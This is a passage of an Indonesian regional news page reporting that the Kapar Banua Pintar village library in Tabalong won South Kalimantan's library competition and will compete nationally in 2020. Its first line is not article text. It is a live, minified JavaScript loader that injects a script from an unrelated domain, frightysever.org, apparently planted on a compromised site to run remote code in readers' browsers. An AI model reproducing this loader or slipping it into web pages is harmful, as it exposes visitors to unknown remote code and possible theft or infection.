(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perpustakaan Desa Kapar Banua Pintar Kabupaten Tabalong akan mengikuti lomba perpustakaan desa tingkat nasional tahun 2020.
Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan Dra Hj Nurliani Dardie, Kamis (23/7/2020) mengatakan, perpustakaan desa Kapar Banua Pintar terpilih mewakili Provinsi Kalimantan Selatan ke tingkat nasional karena sebelumnya dari hasil penilaian Tim Juri Lomba Perpustakaan Desa meraih juara satu se Kalimantan Selatan. Sesuai dengan ketetapan Surat Dispersip Kalsel Nomor 041.1/3867/Dispersip tanggal 6 Juli 2020.
Saat ini, kata Bunda Nunung -sapaan akrabnya, perpustakaan desa tersebut mempersiapkan mengikuti lomba tingkat nasional yang akan dinilai oleh tim juri dari Perpusnas RI. Untuk Kalsel masuk dalam Klaster A (terdiri dari 14 provinsi) untuk divisitasi lagi menjadi 6 provinsi, selanjutnya diundang ke Jakarta oleh tim juri untuk presentasi pada September 2020.
“Tim juri menilai berkas yang diterima dilanjutkan dengan mengunjunhi langsung ke perpustakaan desa, menilai bagaimana pengelolaan perpustakaan, jumlah buku yang tersedia di perpustakaan, serta apa saja judul buku yang ada, bangunan perpustakaan dan sirkulasi buku di perpustakaan desa,” kata Bunda Nunung.
Baca Juga :
Perpustakaan Desa Kapar Banua Pintar sendiri mengungguli perpustakaan desa lain. Di antara lain adalah Cahaya Hati Desa Batu Ampar Tanah Laut, Desa Salat Makmur Kabupaten Banjar, Sumber Ilmu Kelurahan Paringin Timur Kabupaten Balangan, Rindang Ilmu Desa Merpura Kabupaten Kotabaru. Terakhir Al-Falah Desa Labuan Anak Hulu Sungai Tengah.
Kasi Pembinaan Perpustakaan dan ketua tim penilai Perpustakaan desa, Arbayah didampingi Drs Muhammad MSi dan Abdillah SSos mengatakan, juara lomba perpustakaan desa mendapat sertifikat, tropi dan uang pembinaan.
Bunda Nunung berharap Perpustakaan Desa yang menjadi juara mewakili Kalsel lebih giat memperbaiki kekurangan sehingga saat visitasi oleh tm juri Perpusnas RI dapat direkomendasikan menjadi 6 besar di Klaster A. “Sedangkan untuk yang belum juara agar tetap semangat dan berlanjut meningkatkan pelayanan perpustakaan desa untuk lebih baik lagi dengan pembinaan dari perpustakaan kabupaten/kota setempat,” tandas Bunda Nunung.
Baca juga :
Hal ini ditekankan bahwa perpustakaan desa telah bertranformasi berbasis inklusi sosial sebagai tempat belajar dan berkegiatan untuk meningkatkan kesejahteraan masyarakat sekitar. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
This website uses cookies.